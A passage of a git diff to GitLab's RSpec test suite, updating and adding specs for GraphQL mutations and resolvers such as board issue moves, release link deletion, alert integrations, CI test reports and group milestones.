.to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid ID for TestTwo.")
end
+
+ context 'when expected_type is an array' do
+ subject(:parse_gid) { described_class.parse_gid(global_id, expected_type: [TestOne, TestTwo]) }
+
+ context 'when global_id is of type TestOne' do
+ it 'returns an object of an expected type' do
+ expect(parse_gid.model_class).to eq TestOne
+ end
+ end
+
+ context 'when global_id is of type TestTwo' do
+ let_it_be(:global_id) { 'gid://gitlab/TestTwo/2147483647' }
+
+ it 'returns an object of an expected type' do
+ expect(parse_gid.model_class).to eq TestTwo
+ end
+ end
+
+ context 'when global_id is of type TestThree' do
+ let_it_be(:global_id) { 'gid://gitlab/TestThree/2147483647' }
+
+ it 'rejects an unknown type' do
+ expect { parse_gid }
+ .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid ID for TestOne, TestTwo.")
+ end
+ end
+ end
end
end
diff --git a/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb b/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
index 24104a20465..dd9305d2197 100644
--- a/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
+++ b/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Mutations::Boards::Issues::IssueMoveList do
+ include GraphqlHelpers
+
let_it_be(:group) { create(:group, :public) }
let_it_be(:project) { create(:project, group: group) }
let_it_be(:board) { create(:board, group: group) }
@@ -16,9 +18,8 @@ RSpec.describe Mutations::Boards::Issues::IssueMoveList do
let_it_be(:existing_issue1) { create(:labeled_issue, project: project, labels: [testing], relative_position: 10) }
let_it_be(:existing_issue2) { create(:labeled_issue, project: project, labels: [testing], relative_position: 50) }
- let(:current_user) { user }
- let(:mutation) { described_class.new(object: nil, context: { current_user: current_user }, field: nil) }
- let(:params) { { board: board, project_path: project.full_path, iid: issue1.iid } }
+ let(:current_ctx) { { current_user: user } }
+ let(:params) { { board_id: global_id_of(board), project_path: project.full_path, iid: issue1.iid } }
let(:move_params) do
{
from_list_id: list1.id,
@@ -33,26 +34,45 @@ RSpec.describe Mutations::Boards::Issues::IssueMoveList do
group.add_guest(guest)
end
- subject do
- mutation.resolve(**params.merge(move_params))
- end
+ describe '#resolve' do
+ subject do
+ sync(resolve(described_class, args: params.merge(move_params), ctx: current_ctx))
+ end
+
+ %i[from_list_id to_list_id].each do |arg_name|
+ context "when we only pass #{arg_name}" do
+ let(:move_params) { { arg_name => list1.id } }
- describe '#ready?' do
- it 'raises an error if required arguments are missing' do
- expect { mutation.ready?(**params) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError, "At least one of the arguments " \
- "fromListId, toListId, afterId or beforeId is required")
+ it 'raises an error' do
+ expect { subject }.to raise_error(
+ Gitlab::Graphql::Errors::ArgumentError,
+ 'Both fromListId and toListId must be present'
+ )
+ end
+ end
end
- it 'raises an error if only one of fromListId and toListId is present' do
- expect { mutation.ready?(**params.merge(from_list_id: list1.id)) }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError,
- 'Both fromListId and toListId must be present'
+ context 'when required arguments are missing' do
+ let(:move_params) { {} }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(
+ Gitlab::Graphql::Errors::ArgumentError,
+ "At least one of the arguments fromListId, toListId, afterId or beforeId is required"
)
+ end
+ end
+
+ context 'when the board ID is wrong' do
+ before do
+ params[:board_id] = global_id_of(project)
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(::GraphQL::LoadApplicationObjectFailedError)
+ end
end
- end
- describe '#resolve' do
context 'when user have access to resources' do
it 'moves and repositions issue' do
subject
@@ -63,15 +83,11 @@ RSpec.describe Mutations::Boards::Issues::IssueMoveList do
end
end
- context 'when user have no access to resources' do
- shared_examples 'raises a resource not available error' do
- it { expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable) }
- end
-
- context 'when user cannot update issue' do
- let(:current_user) { guest }
+ context 'when user cannot update issue' do
+ let(:current_ctx) { { current_user: guest } }
- it_behaves_like 'raises a resource not available error'
+ specify do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
end
end
end
diff --git a/spec/graphql/mutations/concerns/mutations/can_mutate_spammable_spec.rb b/spec/graphql/mutations/concerns/mutations/can_mutate_spammable_spec.rb
deleted file mode 100644
index 8d1fce406fa..00000000000
--- a/spec/graphql/mutations/concerns/mutations/can_mutate_spammable_spec.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Mutations::CanMutateSpammable do
- let(:mutation_class) do
- Class.new(Mutations::BaseMutation) do
- include Mutations::CanMutateSpammable
- end
- end
-
- let(:request) { double(:request) }
- let(:query) { double(:query, schema: GitlabSchema) }
- let(:context) { GraphQL::Query::Context.new(query: query, object: nil, values: { request: request }) }
-
- subject(:mutation) { mutation_class.new(object: nil, context: context, field: nil) }
-
- describe '#additional_spam_params' do
- it 'returns additional spam-related params' do
- expect(subject.send(:additional_spam_params)).to eq({ api: true, request: request })
- end
- end
-
- describe '#with_spam_action_fields' do
- let(:spam_log) { double(:spam_log, id: 1) }
- let(:spammable) { double(:spammable, spam?: true, render_recaptcha?: true, spam_log: spam_log) }
-
- before do
- allow(Gitlab::CurrentSettings).to receive(:recaptcha_site_key) { 'abc123' }
- end
-
- it 'merges in spam action fields from spammable' do
- result = subject.send(:with_spam_action_response_fields, spammable) do
- { other_field: true }
- end
- expect(result)
- .to eq({
- spam: true,
- needs_captcha_response: true,
- spam_log_id: 1,
- captcha_site_key: 'abc123',
- other_field: true
- })
- end
- end
-end
diff --git a/spec/graphql/mutations/design_management/upload_spec.rb b/spec/graphql/mutations/design_management/upload_spec.rb
index 326d88cea80..ada88b7652c 100644
--- a/spec/graphql/mutations/design_management/upload_spec.rb
+++ b/spec/graphql/mutations/design_management/upload_spec.rb
@@ -32,6 +32,10 @@ RSpec.describe Mutations::DesignManagement::Upload do
end
context "when the feature is not available" do
+ before do
+ enable_design_management(false)
+ end
+
it_behaves_like "resource not available"
end
@@ -52,10 +56,10 @@ RSpec.describe Mutations::DesignManagement::Upload do
.map { |f| RenameableUpload.unique_file(f) }
end
- def creates_designs
+ def creates_designs(&block)
prior_count = DesignManagement::Design.count
- expect { yield }.not_to raise_error
+ expect(&block).not_to raise_error
expect(DesignManagement::Design.count).to eq(prior_count + files.size)
end
@@ -99,20 +103,20 @@ RSpec.describe Mutations::DesignManagement::Upload do
it_behaves_like "resource not available"
end
- context "a valid design" do
+ context "with a valid design" do
it "returns the updated designs" do
expect(resolve[:errors]).to eq []
expect(resolve[:designs].map(&:filename)).to contain_exactly("dk.png")
end
end
- context "context when passing an invalid project" do
+ context "when passing an invalid project" do
let(:project) { build(:project) }
it_behaves_like "resource not available"
end
- context "context when passing an invalid issue" do
+ context "when passing an invalid issue" do
let(:issue) { build(:issue) }
it_behaves_like "resource not available"
diff --git a/spec/graphql/mutations/issues/set_assignees_spec.rb b/spec/graphql/mutations/issues/set_assignees_spec.rb
index 9a27c5acdac..4cc49e76bc6 100644
--- a/spec/graphql/mutations/issues/set_assignees_spec.rb
+++ b/spec/graphql/mutations/issues/set_assignees_spec.rb
@@ -11,7 +11,12 @@ RSpec.describe Mutations::Issues::SetAssignees do
subject(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
describe '#resolve' do
- subject { mutation.resolve(project_path: issue.project.full_path, iid: issue.iid, assignee_usernames: [assignee.username]) }
+ subject do
+ mutation.resolve(project_path: issue.project.full_path,
+ iid: issue.iid,
+ operation_mode: Types::MutationOperationModeEnum.default_mode,
+ assignee_usernames: [assignee.username])
+ end
it_behaves_like 'permission level for issue mutation is correctly verified'
end
diff --git a/spec/graphql/mutations/merge_requests/set_assignees_spec.rb b/spec/graphql/mutations/merge_requests/set_assignees_spec.rb
index e2eab591341..9b0460bc709 100644
--- a/spec/graphql/mutations/merge_requests/set_assignees_spec.rb
+++ b/spec/graphql/mutations/merge_requests/set_assignees_spec.rb
@@ -11,7 +11,12 @@ RSpec.describe Mutations::MergeRequests::SetAssignees do
subject(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
describe '#resolve' do
- subject { mutation.resolve(project_path: merge_request.project.full_path, iid: merge_request.iid, assignee_usernames: [assignee.username]) }
+ subject do
+ mutation.resolve(project_path: merge_request.project.full_path,
+ iid: merge_request.iid,
+ operation_mode: described_class.arguments['operationMode'].default_value,
+ assignee_usernames: [assignee.username])
+ end
it_behaves_like 'permission level for merge request mutation is correctly verified'
end
diff --git a/spec/graphql/mutations/release_asset_links/delete_spec.rb b/spec/graphql/mutations/release_asset_links/delete_spec.rb
new file mode 100644
index 00000000000..15d320b58ee
--- /dev/null
+++ b/spec/graphql/mutations/release_asset_links/delete_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::ReleaseAssetLinks::Delete do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :private, :repository) }
+ let_it_be_with_reload(:release) { create(:release, project: project) }
+ let_it_be(:developer) { create(:user).tap { |u| project.add_developer(u) } }
+ let_it_be(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
+ let_it_be_with_reload(:release_link) { create(:release_link, release: release) }
+
+ let(:mutation) { described_class.new(object: nil, context: { current_user: current_user }, field: nil) }
+ let(:mutation_arguments) { { id: release_link.to_global_id } }
+
+ describe '#resolve' do
+ subject(:resolve) do
+ mutation.resolve(**mutation_arguments)
+ end
+
+ let(:deleted_link) { subject[:link] }
+
+ context 'when the current user has access to delete the link' do
+ let(:current_user) { maintainer }
+
+ it 'deletes the link and returns it', :aggregate_failures do
+ expect(deleted_link).to eq(release_link)
+
+ expect(release.links).to be_empty
+ end
+
+ context "when the link doesn't exist" do
+ let(:mutation_arguments) { super().merge(id: "gid://gitlab/Releases::Link/#{non_existing_record_id}") }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context "when the provided ID is invalid" do
+ let(:mutation_arguments) { super().merge(id: 'not-a-valid-gid') }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(::GraphQL::CoercionError)
+ end
+ end
+ end
+
+ context 'when the current user does not have access to delete the link' do
+ let(:current_user) { developer }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/release_asset_links/update_spec.rb b/spec/graphql/mutations/release_asset_links/update_spec.rb
index 065089066f1..20c1c8b581c 100644
--- a/spec/graphql/mutations/release_asset_links/update_spec.rb
+++ b/spec/graphql/mutations/release_asset_links/update_spec.rb
@@ -166,7 +166,7 @@ RSpec.describe Mutations::ReleaseAssetLinks::Update do
end
context "when the link doesn't exist" do
- let(:mutation_arguments) { super().merge(id: 'gid://gitlab/Releases::Link/999999') }
+ let(:mutation_arguments) { super().merge(id: "gid://gitlab/Releases::Link/#{non_existing_record_id}") }
it 'raises an error' do
expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
diff --git a/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb b/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
index 2cd61dd7bcf..a4d1101bc4f 100644
--- a/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
+++ b/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
@@ -14,7 +14,9 @@ RSpec.describe Resolvers::AlertManagement::HttpIntegrationsResolver do
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
let_it_be(:other_proj_integration) { create(:alert_management_http_integration) }
- subject { sync(resolve_http_integrations) }
+ let(:params) { {} }
+
+ subject { sync(resolve_http_integrations(params)) }
before do
project.add_developer(developer)
@@ -41,11 +43,25 @@ RSpec.describe Resolvers::AlertManagement::HttpIntegrationsResolver do
let(:current_user) { maintainer }
it { is_expected.to contain_exactly(active_http_integration) }
+
+ context 'when HTTP Integration ID is given' do
+ context 'when integration is from the current project' do
+ let(:params) { { id: global_id_of(inactive_http_integration) } }
+
+ it { is_expected.to contain_exactly(inactive_http_integration) }
+ end
+
+ context 'when integration is from other project' do
+ let(:params) { { id: global_id_of(other_proj_integration) } }
+
+ it { is_expected.to be_empty }
+ end
+ end
end
private
def resolve_http_integrations(args = {}, context = { current_user: current_user })
- resolve(described_class, obj: project, ctx: context)
+ resolve(described_class, obj: project, args: args, ctx: context)
end
end
diff --git a/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb b/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
index 36e409e0677..fb0fb6729d4 100644
--- a/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
+++ b/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
@@ -7,12 +7,16 @@ RSpec.describe Resolvers::AlertManagement::IntegrationsResolver do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
+ let_it_be(:project2) { create(:project) }
let_it_be(:prometheus_integration) { create(:prometheus_service, project: project) }
let_it_be(:active_http_integration) { create(:alert_management_http_integration, project: project) }
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
- let_it_be(:other_proj_integration) { create(:alert_management_http_integration) }
+ let_it_be(:other_proj_integration) { create(:alert_management_http_integration, project: project2) }
+ let_it_be(:other_proj_prometheus_integration) { create(:prometheus_service, project: project2) }
- subject { sync(resolve_http_integrations) }
+ let(:params) { {} }
+
+ subject { sync(resolve_http_integrations(params)) }
specify do
expect(described_class).to have_nullable_graphql_type(Types::AlertManagement::IntegrationType.connection_type)
@@ -25,14 +29,43 @@ RSpec.describe Resolvers::AlertManagement::IntegrationsResolver do
context 'user has permission' do
before do
project.add_maintainer(current_user)
+ project2.add_maintainer(current_user)
end
it { is_expected.to contain_exactly(active_http_integration, prometheus_integration) }
+
+ context 'when HTTP Integration ID is given' do
+ context 'when integration is from the current project' do
+ let(:params) { { id: global_id_of(inactive_http_integration) } }
+
+ it { is_expected.to contain_exactly(inactive_http_integration) }
+ end
+
+ context 'when integration is from other project' do
+ let(:params) { { id: global_id_of(other_proj_integration) } }
+
+ it { is_expected.to be_empty }
+ end
+ end
+
+ context 'when Prometheus Integration ID is given' do
+ context 'when integration is from the current project' do
+ let(:params) { { id: global_id_of(prometheus_integration) } }
+
+ it { is_expected.to contain_exactly(prometheus_integration) }
+ end
+
+ context 'when integration is from other project' do
+ let(:params) { { id: global_id_of(other_proj_prometheus_integration) } }
+
+ it { is_expected.to be_empty }
+ end
+ end
end
private
def resolve_http_integrations(args = {}, context = { current_user: current_user })
- resolve(described_class, obj: project, ctx: context)
+ resolve(described_class, obj: project, args: args, ctx: context)
end
end
diff --git a/spec/graphql/resolvers/blobs_resolver_spec.rb b/spec/graphql/resolvers/blobs_resolver_spec.rb
new file mode 100644
index 00000000000..bc0344796ee
--- /dev/null
+++ b/spec/graphql/resolvers/blobs_resolver_spec.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::BlobsResolver do
+ include GraphqlHelpers
+
+ describe '.resolver_complexity' do
+ it 'adds one per path being resolved' do
+ control = described_class.resolver_complexity({}, child_complexity: 1)
+
+ expect(described_class.resolver_complexity({ paths: %w[a b c] }, child_complexity: 1))
+ .to eq(control + 3)
+ end
+ end
+
+ describe '#resolve' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:repository) { project.repository }
+ let(:args) { { paths: paths, ref: ref } }
+ let(:paths) { [] }
+ let(:ref) { nil }
+
+ subject(:resolve_blobs) { resolve(described_class, obj: repository, args: args, ctx: { current_user: user }) }
+
+ context 'when unauthorized' do
+ it 'raises an exception' do
+ expect { resolve_blobs }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when authorized' do
+ before do
+ project.add_developer(user)
+ end
+
+ context 'using no filter' do
+ it 'returns nothing' do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'using paths filter' do
+ let(:paths) { ['README.md'] }
+
+ it 'returns the specified blobs for HEAD' do
+ is_expected.to contain_exactly(have_attributes(path: 'README.md'))
+ end
+
+ context 'specifying a non-existent blob' do
+ let(:paths) { ['non-existent'] }
+
+ it 'returns nothing' do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'specifying a different ref' do
+ let(:ref) { 'add-pdf-file' }
+ let(:paths) { ['files/pdf/test.pdf', 'README.md'] }
+
+ it 'returns the specified blobs for that ref' do
+ is_expected.to contain_exactly(
+ have_attributes(path: 'files/pdf/test.pdf'),
+ have_attributes(path: 'README.md')
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
index 5eda840854a..6ffc8b045e9 100644
--- a/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/board_list_issues_resolver_spec.rb
@@ -39,6 +39,24 @@ RSpec.describe Resolvers::BoardListIssuesResolver do
expect(result).to match_array([issue1])
end
+
+ it 'raises an exception if both assignee_username and assignee_wildcard_id are present' do
+ expect do
+ resolve_board_list_issues(args: { filters: { assignee_username: ['username'], assignee_wildcard_id: 'NONE' } })
+ end.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+
+ it 'accepts assignee wildcard id NONE' do
+ result = resolve_board_list_issues(args: { filters: { assignee_wildcard_id: 'NONE' } })
+
+ expect(result).to match_array([issue1, issue2, issue3])
+ end
+
+ it 'accepts assignee wildcard id ANY' do
+ result = resolve_board_list_issues(args: { filters: { assignee_wildcard_id: 'ANY' } })
+
+ expect(result).to match_array([])
+ end
end
end
diff --git a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
index c44f6b623d7..1b69bf7f63a 100644
--- a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe Resolvers::Ci::JobsResolver do
create(:ci_build, :sast, name: 'DAST job', pipeline: pipeline)
create(:ci_build, :dast, name: 'SAST job', pipeline: pipeline)
create(:ci_build, :container_scanning, name: 'Container scanning job', pipeline: pipeline)
+ create(:ci_build, name: 'Job with tags', pipeline: pipeline, tag_list: ['review'])
end
describe '#resolve' do
@@ -24,7 +25,8 @@ RSpec.describe Resolvers::Ci::JobsResolver do
have_attributes(name: 'Normal job'),
have_attributes(name: 'DAST job'),
have_attributes(name: 'SAST job'),
- have_attributes(name: 'Container scanning job')
+ have_attributes(name: 'Container scanning job'),
+ have_attributes(name: 'Job with tags')
)
end
end
@@ -43,5 +45,18 @@ RSpec.describe Resolvers::Ci::JobsResolver do
)
end
end
+
+ context 'when a job has tags' do
+ it "returns jobs with tags when applicable" do
+ jobs = resolve(described_class, obj: pipeline)
+ expect(jobs).to contain_exactly(
+ have_attributes(tag_list: []),
+ have_attributes(tag_list: []),
+ have_attributes(tag_list: []),
+ have_attributes(tag_list: []),
+ have_attributes(tag_list: ['review'])
+ )
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/ci/runner_platforms_resolver_spec.rb b/spec/graphql/resolvers/ci/runner_platforms_resolver_spec.rb
index 1eb6f363d5b..3cb6e94e81e 100644
--- a/spec/graphql/resolvers/ci/runner_platforms_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/runner_platforms_resolver_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Resolvers::Ci::RunnerPlatformsResolver do
subject(:resolve_subject) { resolve(described_class) }
it 'returns all possible runner platforms' do
- expect(resolve_subject).to include(
+ expect(resolve_subject).to contain_exactly(
hash_including(name: :linux), hash_including(name: :osx),
hash_including(name: :windows), hash_including(name: :docker),
hash_including(name: :kubernetes)
diff --git a/spec/graphql/resolvers/ci/runner_setup_resolver_spec.rb b/spec/graphql/resolvers/ci/runner_setup_resolver_spec.rb
index 3d004290d9b..13ef89023d9 100644
--- a/spec/graphql/resolvers/ci/runner_setup_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/runner_setup_resolver_spec.rb
@@ -8,12 +8,11 @@ RSpec.describe Resolvers::Ci::RunnerSetupResolver do
describe '#resolve' do
let(:user) { create(:user) }
- subject(:resolve_subject) { resolve(described_class, ctx: { current_user: user }, args: { platform: platform, architecture: 'amd64' }.merge(target_param)) }
+ subject(:resolve_subject) { resolve(described_class, ctx: { current_user: user }, args: { platform: platform, architecture: 'amd64' }) }
context 'with container platforms' do
let(:platform) { 'docker' }
let(:project) { create(:project) }
- let(:target_param) { { project_id: project.to_global_id } }
it 'returns install instructions' do
expect(resolve_subject[:install_instructions]).not_to eq(nil)
@@ -27,77 +26,9 @@ RSpec.describe Resolvers::Ci::RunnerSetupResolver do
context 'with regular platforms' do
let(:platform) { 'linux' }
- context 'without target parameter' do
- let(:target_param) { {} }
-
- context 'when user is not admin' do
- it 'returns access error' do
- expect { resolve_subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
- end
- end
-
- context 'when user is admin' do
- before do
- user.update!(admin: true)
- end
-
- it 'returns install and register instructions' do
- expect(resolve_subject.keys).to contain_exactly(:install_instructions, :register_instructions)
- expect(resolve_subject.values).not_to include(nil)
- end
- end
- end
-
- context 'with project target parameter' do
- let(:project) { create(:project) }
- let(:target_param) { { project_id: project.to_global_id } }
-
- context 'when user has access to admin builds on project' do
- before do
- project.add_maintainer(user)
- end
-
- it 'returns install and register instructions' do
- expect(resolve_subject.keys).to contain_exactly(:install_instructions, :register_instructions)
- expect(resolve_subject.values).not_to include(nil)
- end
- end
-
- context 'when user does not have access to admin builds on project' do
- before do
- project.add_developer(user)
- end
-
- it 'returns access error' do
- expect { resolve_subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
- end
- end
- end
-
- context 'with group target parameter' do
- let(:group) { create(:group) }
- let(:target_param) { { group_id: group.to_global_id } }
-
- context 'when user has access to admin builds on group' do
- before do
- group.add_owner(user)
- end
-
- it 'returns install and register instructions' do
- expect(resolve_subject.keys).to contain_exactly(:install_instructions, :register_instructions)
- expect(resolve_subject.values).not_to include(nil)
- end
- end
-
- context 'when user does not have access to admin builds on group' do
- before do
- group.add_developer(user)
- end
-
- it 'returns access error' do
- expect { resolve_subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
- end
- end
+ it 'returns install and register instructions' do
+ expect(resolve_subject.keys).to contain_exactly(:install_instructions, :register_instructions)
+ expect(resolve_subject.values).not_to include(nil)
end
end
end
diff --git a/spec/graphql/resolvers/ci/test_report_summary_resolver_spec.rb b/spec/graphql/resolvers/ci/test_report_summary_resolver_spec.rb
new file mode 100644
index 00000000000..e78bd06b567
--- /dev/null
+++ b/spec/graphql/resolvers/ci/test_report_summary_resolver_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Ci::TestReportSummaryResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :public, :repository) }
+
+ subject(:resolve_subject) { resolve(described_class, obj: pipeline) }
+
+ context 'when pipeline has build report results' do
+ let(:pipeline) { create(:ci_pipeline, :with_report_results, project: project) }
+
+ it 'returns test report summary data' do
+ expect(resolve_subject.keys).to contain_exactly(:total, :test_suites)
+ expect(resolve_subject[:test_suites][0].keys).to contain_exactly(:build_ids, :name, :total_time, :total_count, :success_count, :failed_count, :skipped_count, :error_count, :suite_error)
+ expect(resolve_subject[:total][:time]).to eq(0.42)
+ expect(resolve_subject[:total][:count]).to eq(2)
+ expect(resolve_subject[:total][:success]).to eq(0)
+ expect(resolve_subject[:total][:failed]).to eq(0)
+ expect(resolve_subject[:total][:skipped]).to eq(0)
+ expect(resolve_subject[:total][:error]).to eq(2)
+ expect(resolve_subject[:total][:suite_error]).to eq(nil)
+ end
+ end
+
+ context 'when pipeline does not have build report results' do
+ let(:pipeline) { create(:ci_pipeline, project: project) }
+
+ it 'renders test report summary data' do
+ expect(resolve_subject.keys).to contain_exactly(:total, :test_suites)
+ expect(resolve_subject[:test_suites]).to eq([])
+ expect(resolve_subject[:total][:time]).to eq(0)
+ expect(resolve_subject[:total][:count]).to eq(0)
+ expect(resolve_subject[:total][:success]).to eq(0)
+ expect(resolve_subject[:total][:failed]).to eq(0)
+ expect(resolve_subject[:total][:skipped]).to eq(0)
+ expect(resolve_subject[:total][:error]).to eq(0)
+ expect(resolve_subject[:total][:suite_error]).to eq(nil)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/ci/test_suite_resolver_spec.rb b/spec/graphql/resolvers/ci/test_suite_resolver_spec.rb
new file mode 100644
index 00000000000..606c6eb03a3
--- /dev/null
+++ b/spec/graphql/resolvers/ci/test_suite_resolver_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Ci::TestSuiteResolver do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+
+ describe '#resolve' do
+ subject(:test_suite) { resolve(described_class, obj: pipeline, args: { build_ids: build_ids }) }
+
+ context 'when pipeline has builds with test reports' do
+ let_it_be(:main_pipeline) { create(:ci_pipeline, :with_test_reports_with_three_failures, project: project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, :with_test_reports_with_three_failures, project: project, ref: 'new-feature') }
+
+ let(:suite_name) { 'test' }
+ let(:build_ids) { pipeline.latest_builds.pluck(:id) }
+
+ before do
+ build = main_pipeline.builds.last
+ build.update_column(:finished_at, 1.day.ago) # Just to be sure we are included in the report window
+
+ # The JUnit fixture for the given build has 3 failures.
+ # This service will create 1 test case failure record for each.
+ Ci::TestFailureHistoryService.new(main_pipeline).execute
+ end
+
+ it 'renders test suite data' do
+ expect(test_suite[:name]).to eq('test')
+
+ # Each test failure in this pipeline has a matching failure in the default branch
+ recent_failures = test_suite[:test_cases].map { |tc| tc[:recent_failures] }
+ expect(recent_failures).to eq([
+ { count: 1, base_branch: 'master' },
+ { count: 1, base_branch: 'master' },
+ { count: 1, base_branch: 'master' }
+ ])
+ end
+ end
+
+ context 'when pipeline has no builds that matches the given build_ids' do
+ let_it_be(:pipeline) { create(:ci_empty_pipeline) }
+
+ let(:suite_name) { 'test' }
+ let(:build_ids) { [non_existing_record_id] }
+
+ it 'returns nil' do
+ expect(test_suite).to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/concerns/looks_ahead_spec.rb b/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
index 27ac1572cab..4c244da5c62 100644
--- a/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
+++ b/spec/graphql/resolvers/concerns/looks_ahead_spec.rb
@@ -38,11 +38,8 @@ RSpec.describe LooksAhead do
user = Class.new(GraphQL::Schema::Object) do
graphql_name 'User'
field :name, String, null: true
- field :issues, issue.connection_type,
- null: true
- field :issues_with_lookahead, issue.connection_type,
- resolver: issues_resolver,
- null: true
+ field :issues, issue.connection_type, null: true
+ field :issues_with_lookahead, issue.connection_type, resolver: issues_resolver, null: true
end
Class.new(GraphQL::Schema) do
@@ -101,7 +98,7 @@ RSpec.describe LooksAhead do
expect(res['errors']).to be_blank
expect(res.dig('data', 'findUser', 'name')).to eq(the_user.name)
- %w(issues issuesWithLookahead).each do |field|
+ %w[issues issuesWithLookahead].each do |field|
expect(all_issue_titles(res, field)).to match_array(issue_titles)
expect(all_label_ids(res, field)).to match_array(expected_label_ids)
end
diff --git a/spec/graphql/resolvers/group_milestones_resolver_spec.rb b/spec/graphql/resolvers/group_milestones_resolver_spec.rb
index d8ff8e9c1f2..dd3f1676538 100644
--- a/spec/graphql/resolvers/group_milestones_resolver_spec.rb
+++ b/spec/graphql/resolvers/group_milestones_resolver_spec.rb
@@ -136,5 +136,56 @@ RSpec.describe Resolvers::GroupMilestonesResolver do
expect(resolve_group_milestones(args)).to match_array([milestone1, milestone2, milestone3])
end
end
+
+ describe 'include_descendants and include_ancestors' do
+ let_it_be(:parent_group) { create(:group, :public) }
+ let_it_be(:group) { create(:group, :public, parent: parent_group) }
+ let_it_be(:accessible_group) { create(:group, :private, parent: group) }
+ let_it_be(:accessible_project) { create(:project, group: accessible_group) }
+ let_it_be(:inaccessible_group) { create(:group, :private, parent: group) }
+ let_it_be(:inaccessible_project) { create(:project, :private, group: group) }
+ let_it_be(:milestone1) { create(:milestone, group: group) }
+ let_it_be(:milestone2) { create(:milestone, group: accessible_group) }
+ let_it_be(:milestone3) { create(:milestone, project: accessible_project) }
+ let_it_be(:milestone4) { create(:milestone, group: inaccessible_group) }
+ let_it_be(:milestone5) { create(:milestone, project: inaccessible_project) }
+ let_it_be(:milestone6) { create(:milestone, group: parent_group) }
+
+ before do
+ accessible_group.add_developer(current_user)
+ end
+
+ context 'when including neither ancestor or descendant milestones in a public group' do
+ let(:args) { {} }
+
+ it 'finds milestones only in accessible projects and groups' do
+ expect(resolve_group_milestones(args)).to match_array([milestone1])
+ end
+ end
+
+ context 'when including descendant milestones in a public group' do
+ let(:args) { { include_descendants: true } }
+
+ it 'finds milestones only in accessible projects and groups' do
+ expect(resolve_group_milestones(args)).to match_array([milestone1, milestone2, milestone3])
+ end
+ end
+
+ context 'when including ancestor milestones in a public group' do
+ let(:args) { { include_ancestors: true } }
+
+ it 'finds milestones only in accessible projects and groups' do
